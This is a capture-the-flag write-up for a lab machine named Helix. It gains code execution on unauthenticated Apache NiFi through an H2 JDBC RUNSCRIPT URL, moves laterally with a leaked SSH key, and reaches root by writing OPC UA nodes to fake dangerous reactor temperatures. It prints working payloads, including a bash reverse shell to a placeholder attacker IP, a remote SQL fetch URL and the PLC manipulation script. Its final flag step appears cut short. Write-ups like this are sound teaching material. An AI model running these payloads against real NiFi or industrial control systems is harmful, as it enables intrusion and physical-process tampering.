[ writeup · case #003 ]
Helix
Foothold via unauthenticated Apache NiFi (CVE-2023-34468) — abusing the H2 database JDBC connector to load a malicious SQL script and get RCE as nifi. Lateral movement to operator via a leaked SSH private key found in NiFi's support bundles. Root via OPC UA manipulation of an industrial PLC…
Summary
Enumeration
Port Scan
rustscan --range 1-65535 -a helix.htb -- -APORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 8.9p1 Ubuntu 3ubuntu0.15 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 [REDACTED:IP][REDACTED:IP]:1e (ECDSA)
|_ 256 [REDACTED:IP][REDACTED:IP]:b3 (ED25519)
80/tcp open http syn-ack ttl 63 nginx 1.18.0 (Ubuntu)
|_http-title: Helix Industries | Industrial Automation & Critical Infrastruc...
|_http-server-header: nginx/1.18.0 (Ubuntu)Key findings:
- Port
22— SSH — OpenSSH 8.9p1, nothing exploitable directly - Port
80— nginx — Helix Industries landing page, worth enumerating further
Web / Service Enumeration
The landing page at http://helix.htb is a static corporate site. I run a vhost fuzz to check for subdomains:
ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt \
-u http://helix.htb \
-H "Host: FUZZ.helix.htb" \
-k -fr 302 -fs 200flow [Status: 200, Size: 1068, Words: 110, Lines: 28, Duration: 1241ms]flow.helix.htb resolves to an Apache NiFi 1.21.0 instance. Navigating to it, I'm dropped directly into the NiFi canvas — no authentication prompt at all. The version is visible in the bottom-left corner.
Foothold
Apache NiFi ships with an H2 database JAR and exposes JDBC connection pool controller services. The H2 JDBC URL supports an INIT=RUNSCRIPT FROM parameter that fetches and executes an arbitrary SQL file on connection initialization. Since NiFi runs this as a trusted internal action, it bypasses any application-level restrictions and gives direct OS command execution.
I create a malicious SQL file rce.sql on my machine:
CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException {
String[] command = {"bash", "-c", cmd};
java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(command).getInputStream()).useDelimiter("\\A");
return s.hasNext() ? s.next() : ""; }
$$;
CALL SHELLEXEC('bash -i >& /dev/tcp/<ATTACKER_IP>/4444 0>&1')I serve it with a Python HTTP server and set up a listener:
python3 -m http.server 80
nc -lvnp 4444In the NiFi UI I go to Configuration → Controller Services → Add DBCPConnectionPool and configure it with the following properties:
| Property | Value |
|---|---|
| Database Connection URL | jdbc:h2:mem:tempdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://<ATTACKER_IP>/rce.sql' |
| Database Driver Class Name | org.h2.Driver |
| Database Driver Location(s) | work/nar/extensions/nifi-poi-nar-1.21.0.nar-unpacked/NAR-INF/bundled-dependencies/h2-2.1.214.jar |
Enabling the controller service triggers the INIT=RUNSCRIPT immediately, fetching and executing my SQL. The reverse shell lands as nifi.
I stabilize the shell:
python3 -c 'import pty;pty.spawn("/bin/bash")'
# Ctrl+Z
stty raw -echo; fg
export TERM=xtermUser
Poking around the NiFi installation, I find a backup SSH key sitting in the support bundles directory:
cat /opt/nifi-1.21.0/support-bundles/operator_id_ed25519.bakIt's a passwordless ed25519 private key. I SSH in as operator directly:
ssh -i /opt/nifi-1.21.0/support-bundles/operator_id_ed25519.bak operator@localhostcat ~/user.txtPrivilege Escalation
sudo -l shows operator can run /usr/local/sbin/helix-maint-console as root with no password. Running it returns Maintenance window CLOSED. — strings analysis of the binary reveals it checks for the existence of /opt/helix/state/maintenance_window, a file written by the PLC process when reactor telemetry hits hazardous thresholds (Temperature ≥ 295°C or Pressure ≥ 73 bar).
The machine runs an OPC UA server at opc.tcp://127.0.0.1:4840/helix/ and a local HMI at http://127.0.0.1:8081. I browse the OPC UA node tree using asyncua and find the relevant writable nodes under ns=2:
| Node | ID | Description |
|---|---|---|
| Mode | ns=2;i=12 | Control mode (NORMAL / MAINTENANCE) |
| TestOverride | ns=2;i=13 | Enables writes to calibration |
| CalibrationOffset | ns=2;i=6 | Added to raw temperature |
| Temperature | ns=2;i=4 | Computed temperature reading |
The trick is that CalibrationOffset only becomes writable when TestOverride=True AND Mode=MAINTENANCE. I write the following exploit:
import asyncio
from asyncua import Client
from asyncua.ua import DataValue, Variant, VariantType
async def main():
async with Client("opc.tcp://127.0.0.1:4840/helix/") as client:
mode = client.get_node("ns=2;i=12")
test_override = client.get_node("ns=2;i=13")
calibration = client.get_node("ns=2;i=6")
temp_node = client.get_node("ns=2;i=4")
await mode.write_value(DataValue(Variant("MAINTENANCE", VariantType.String)))
await test_override.write_value(DataValue(Variant(True, VariantType.Boolean)))
for offset in [15.0, 20.0, 25.0, 30.0]:
await calibration.write_value(DataValue(Variant(offset, VariantType.Double)))
temp = await temp_node.read_value()
print(f"Offset {offset} -> Temp {temp}")
if temp >= 295:
print("[+] Threshold reached")
break
asyncio.run(main())I run the script and immediately hit the maintenance console before the PLC resets the values:
python3 /tmp/exploit.py && sleep 1 && sudo /usr/local/sbin/helix-maint-consoleThe console detects the maintenance window file, grants privileged access, and drops a root shell.
Root Flag
cat /home/lightKey Takeaways
- Apache NiFi's JDBC connection pool blindly executes H2
INIT=RUNSCRIPTURLs — unauthenticated NiFi instances are trivially exploitable to RCE - Backup credentials left in application directories are a common and underestimated lateral movement vector
- OPC UA is increasingly showing up in HTB machines — understanding industrial protocol node browsing and writes is worth the investment